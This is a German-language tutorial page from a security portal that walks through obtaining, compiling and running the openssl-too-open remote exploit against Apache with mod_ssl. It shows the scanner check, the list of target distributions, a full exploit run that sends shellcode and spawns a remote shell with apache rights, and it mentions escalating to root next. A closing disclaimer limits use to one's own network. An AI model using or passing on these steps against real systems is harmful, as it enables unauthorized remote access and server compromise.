Security Forum Usenet Archiv Mailing List Archive  
IDS Firewall Honeypot Honeynet Web Security Linux Security Microsoft Security Virus - Wurm Backdoors - Trojaner Links
I-EYE Security Exploits Security Dokumentationen Security Online Scanner Security Scanner Security Tools Trojaner Portliste Impressum

openssl-too-open






openssl-too-open ist ein Exploit welches ein Sicherheitsloch in ssl von Apache ausnutzt um den Angreifer ein Shellzugang zu übergeben. Das Exploit findet man überall im Internet man muss nur den Dateiname in eine Suchmaschine eingeben (openssl-too-open.tar.gz). Nachdem man das Exploit heruntergeladen hat muss man es entpacken und dann kompilieren.
gzip -d openssl-too-open.tar.gz
tar -fxv openssl-too-open.tar
make
Wenn das kompilieren erfolgreich verlaufen ist, finden wir im Verzeichnis zwei Dateien. Die Scanner Datei “openssl-scanner” mit der man testet ob ein Server verwundbar ist und mit der anderen Datei “openssl-too-open” bekommt man Shellzugang.
Mit der Eingabe testen wir ob der Server 192.168.0.1 verwundbar ist.
./openssl-scanner 192.168.0.1
Die Aufgabe:
: openssl-scanner : OpenSSL vulnerability scanner
 by Solar Eclipse
Opening 1 connections . . done
Waiting for all connections to finish . . done
192.168.0.1: Vulnerable
Wie wir sehen ist der Server verwundbar also können wir jetzt testen ob wir jetzt auch ein Shellzugang bekommen.
Wenn wir das Programm openssl-too-open ohne Parameter ausführen, wird uns eine kurze Hilfe angezeigt.
./openssl-too-open

Die Ausgabe:
: openssl-too-open : OpenSSL remote exploit
 by Solar Eclipse

Usage: ./openssl-too-open [options]
 -a      target architecture (default is 0x00)
 -p      SSL port (default is 443)
 -c        open N apache connections before sending the shellcode (default is 30)
 -m        maximum number of open connections (default is 50)
 -v         verbose mode

Supported architectures:
0x00 - Gentoo (apache-1.3.24-r2)
0x01 - Debian Woody GNU/Linux 3.0 (apache-1.3.26-1)
0x02 - Slackware 7.0 (apache-1.3.26)
0x03 - Slackware 8.1-stable (apache-1.3.26)
0x04 - RedHat Linux 6.0 (apache-1.3.6-7)
0x05 - RedHat Linux 6.1 (apache-1.3.9-4)
0x06 - RedHat Linux 6.2 (apache-1.3.12-2)
0x07 - RedHat Linux 7.0 (apache-1.3.12-25)
0x08 - RedHat Linux 7.1 (apache-1.3.19-5)
0x09 - RedHat Linux 7.2 (apache-1.3.20-16)
0x0a - Redhat Linux 7.2 (apache-1.3.26 w/PHP)
0x0b - RedHat Linux 7.3 (apache-1.3.23-11)
0x0c - SuSE Linux 7.0 (apache-1.3.12)
0x0d - SuSE Linux 7.1 (apache-1.3.17)
0x0e - SuSE Linux 7.2 (apache-1.3.19)
0x0f - SuSE Linux 7.3 (apache-1.3.20)
0x10 - SuSE Linux 8.0 (apache-1.3.23-137)
0x11 - SuSE Linux 8.0 (apache-1.3.23)
0x12 - Mandrake Linux 7.1 (apache-1.3.14-2)
0x13 - Mandrake Linux 8.0 (apache-1.3.19-3)
0x14 - Mandrake Linux 8.1 (apache-1.3.20-3)
0x15 - Mandrake Linux 8.2 (apache-1.3.23-4)
Examples: ./openssl-too-open -a 0x01 -v localhost
     ./openssl-too-open -p 1234 192.168.0.1 -c 40 -m 80
Wir können in der Hilfe sehen welche Distributionen unterstützt werden. Beim ausführen des Programms müssen wir den Parameter für die passende Distribution übergeben. In diesem Beispiel wird die Mandrake Distribution mit der Versionsnummer 8.0 verwendet ( -a 0x13 ).
./openssl-too-open -a 0x13 192.168.0.1

Die Ausgabe:
: openssl-too-open : OpenSSL remote exploit
 by Solar Eclipse
: Opening 30 connections
 Establishing SSL connections
: Using the OpenSSL info leak to retrieve the addresses
 ssl0 : 0x8125ed8
 ssl1 : 0x8125ed8
 ssl2 : 0x8125ed8
: Sending shellcode
ciphers: 0x8125ed8  start_addr: 0x8125e18  SHELLCODE_OFS: 208
 Execution of stage1 shellcode succeeded, sending stage2
 Spawning shell...
bash: no job control in this shell
bash-2.04$ uname -a; id; w;
Linux mandrake 2.4.3-20mdk #1 Sun Apr 15 23:03:10 CEST 2001 i686 unknown
uid=48(apache) gid=48(apache) groups=48(apache)
 1:02pm up 2:24, 1 user, load average: 0.00, 0.00, 0.00
USER   TTY   FROM       LOGIN@  IDLE  JCPU  PCPU WHAT
root   pts/0  -        10:40am 2:22m 0.01s 0.01s /bin/cat
bash-2.04$ whoami
apache

Wie wir an dem Kommando whoami sehen haben wir eine Shell mit apache Rechten bekommen. Der Angreifer würde jetzt weitere Sicherheitslöcher ausnutzen um den kompletten root Zugang zu erhalten.
Die Anleitung ist selbstverständlich nur um die Sicherheit seines eigenen Netzwerks zutesten. Sollte jemand auf die Idee kommen das auf einem fremden System auszuprobieren, so kann ich ihm garantieren das er sehr schnell gefasst wird. Denn so ein Exploit hinterlässt Spuren, die auch ein Idiot lesen kann.
Der Autor distanziert sich vor jeglichem missbrauch dieser Information und kann nicht deswegen zur Rechenschaft gezogen werden.